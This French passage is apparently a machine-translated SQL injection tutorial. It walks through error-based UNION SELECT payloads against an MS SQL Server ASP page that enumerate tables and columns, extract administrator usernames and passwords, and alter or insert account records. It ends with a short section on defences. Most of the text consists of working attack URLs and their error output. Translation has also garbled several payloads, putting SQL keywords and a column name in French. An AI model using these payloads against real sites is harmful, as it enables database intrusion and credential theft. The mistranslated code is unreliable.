Nous pouvons utiliser les informations du message d'erreur produit par le serveur SQL pour récupérer n'importe quelle donnée. Par exemple, considérons la page suivante :

http://duck/index.asp?id=10

Nous allons maintenant essayer de concaténer l'entier '10' avec une autre ligne de la base de données :

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

La table système INFORMATION_SCHEMA.TABLES contient des informations de toutes les tables du serveur.

Le champ TABLE_NAME contient évidemment le nom de chaque table de la base de données. Il a été choisi parce que nous savons qu'il existe toujours. Notre demande:

SELECTIONNER TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

Cette requête renverra le prénom dans la base de données. Lorsque nous UNIONnons cette valeur de chaîne à l'entier 10, MS SQL Server essaiera de convertir la chaîne nvarchar en un entier. Cela générera une erreur indiquant qu'il ne peut pas convertir nvarchar en int. Le serveur renvoie l'erreur suivante :


Erreur de syntaxe lors de la conversion de la valeur nvarchar "table1" to a column of data type int. !}
/index.asp, ligne 5

Le message d'erreur contient des informations sur une valeur qui ne peut pas être convertie en entier. Dans ce cas, nous avons obtenu le nom de la première table - "table1".

Pour obtenir le nom de la table suivante, nous pouvons utiliser la requête suivante :

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ("table1")--

Nous pouvons également rechercher des données à l'aide de la clé LIKE :

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE "%25login%25"--

Erreur du fournisseur Microsoft OLE DB pour les pilotes ODBC « 80040e07 » Erreur de syntaxe lors de la conversion de la valeur nvarchar "admin_login" to a column of data type int. !} /index.asp, ligne 5

La construction correspondante "%25login%25" sera remplacée par %login% dans le serveur SQL. Dans ce cas, nous obtiendrons le nom de la table qui correspond au critère "admin_login".

6.1 Comment puis-je connaître tous les noms de colonnes d'un tableau ?

Nous pouvons utiliser la table INFORMATION_SCHEMA.COLUMNS pour afficher tous les noms de colonnes dans la table :

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login"-

Erreur du fournisseur Microsoft OLE DB pour les pilotes ODBC « 80040e07 »
Erreur de syntaxe lors de la conversion de la valeur nvarchar "login_id" to a column of data type int. !}
/index.asp, ligne 5

Maintenant que nous connaissons le nom de la première colonne, nous pouvons utiliser NOT IN() pour obtenir le nom de la colonne suivante :

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login" WHERE COLUMN_NAME NOT IN ("login_id") -

Erreur du fournisseur Microsoft OLE DB pour les pilotes ODBC « 80040e07 »
Erreur de syntaxe lors de la conversion de la valeur nvarchar "login_name" to a column of data type int. !}
/index.asp, ligne 5

En continuant, nous obtiendrons le reste des noms de colonnes, c'est-à-dire "mot de passe", "détails" jusqu'à ce que nous obtenions l'erreur suivante.

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login" WHERE COLUMN_NAME NOT IN ("login_id", "login_name", "mot de passe", détails") --

Erreur du fournisseur Microsoft OLE DB pour les pilotes ODBC « 80040e14 »
Les éléments ORDER BY doivent apparaître dans la liste de sélection si l'instruction contient un opérateur UNION.
/index.asp, ligne 5

6.2. Comment obtenons-nous les données dont nous avons besoin ?

Maintenant que nous avons identifié quelques tables importantes, nous pouvons utiliser la même technique pour récupérer des informations de la base de données.

Récupérons le premier login_name de la table "admin_login":

http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

Erreur du fournisseur Microsoft OLE DB pour les pilotes ODBC « 80040e07 »
Erreur de syntaxe lors de la conversion de la valeur nvarchar "neo" to a column of data type int. !}
/index.asp, ligne 5

Nous savons maintenant qu'il existe un utilisateur administrateur avec le nom de connexion "neo". Finalement on peut obtenir le mot de passe "neo" :

http://duck/index.asp?id=10 UNION SELECT TOP 1 mot de passe FROM admin_login où login_name="neo"--

Erreur du fournisseur Microsoft OLE DB pour les pilotes ODBC « 80040e07 »
Erreur de syntaxe lors de la conversion de la valeur nvarchar "m4trix" to a column of data type int. !}
/index.asp, ligne 5

Nous allons désormais pouvoir nous connecter en tant que "neo" avec le mot de passe "m4trix".

6.3 Comment obtenir la valeur numérique d'une chaîne ?

Il existe une limitation dans la méthode décrite ci-dessus. Nous ne pourrons pas recevoir de message d'erreur si nous essayons de convertir un texte composé d'un nombre (uniquement des caractères entre 0 et 9). Nous allons maintenant décrire l'obtention du mot de passe "31173" de l'utilisateur "trinity" :

http://duck/index.asp?id=10 UNION SELECT TOP 1 mot de passe FROM admin_login où login_name="trinity"--

Nous obtiendrons probablement une erreur « Page non trouvée ». La raison en est que le mot de passe "31173" sera converti en nombre, avant l'UNION avec un entier (dans notre cas 10). Puisque l'expression UNION est correcte, le serveur SQL ne générera pas de message d'erreur et nous ne pourrons donc pas obtenir d'enregistrement numérique.

Pour résoudre ce problème, nous pouvons ajouter une chaîne numérique à la fin avec quelques lettres pour empêcher la conversion. Demande modifiée :

http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b"%20morpheus") FROM admin_login où login_name="trinity"--

Nous utilisons simplement le signe plus (+) pour ajouter le mot de passe avec n'importe quel texte (encodage ASSCII pour "+" = 0x2b). Ensuite, nous ajouterons « %20morpheus » à la fin du mot de passe réel. Ainsi, même si la valeur du mot de passe est « 31173 », elle deviendra « 31173 morpheus ». En appelant manuellement la fonction convert() tentant de convertir « 31173 morpheus » en un entier, SQL Server générera un message d'erreur ODBC :

Erreur du fournisseur Microsoft OLE DB pour les pilotes ODBC « 80040e07 »
Erreur de syntaxe lors de la conversion de la valeur nvarchar "31173 morpheus" to a column of data type int. !}
/index.asp, ligne 5

Nous allons maintenant pouvoir nous connecter en tant que "Trinity" avec le mot de passe "31173".

7.0 Comment modifier/insérer des données dans la base de données ?

Une fois que nous avons les noms de chacun par colonne dans le tableau, nous pouvons mettre à jour (UPDATE) ou même insérer (INSERT) un nouvel enregistrement dans la table. Par exemple, on peut changer le mot de passe de « neo » :

http://duck/index.asp?id=10 ; UPDATE "admin_login" SET "password" = "newpas5" WHERE login_name="neo--

Pour INSÉRER un nouvel enregistrement dans la base de données :

http://duck/index.asp?id=10 ; INSÉRER DANS "admin_login" ("login_id", "login_name", "password", "details") VALEURS (666, "neo2", "newpas5", "NA")--

Nous allons désormais pouvoir nous connecter en tant que "neo" avec le mot de passe "newpas5".

8.0 Comment éviter l'injection SQL ?

Filtrer les caractères spéciaux dans toutes les lignes de :

Toutes les données saisies par l'utilisateur
- Paramètres d'URL
- Biscuit

Pour les valeurs numériques, convertissez-les en nombre entier avant de les transmettre à la requête SQL. Ou utilisez ISNUMERIC pour vous assurer qu’il s’agit d’un nombre entier.

Exécutez SQL Server en tant qu'utilisateur non privilégié.

Supprimez les procédures stockées inutilisées : master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

Avez-vous aimé l'article? Partager avec des amis: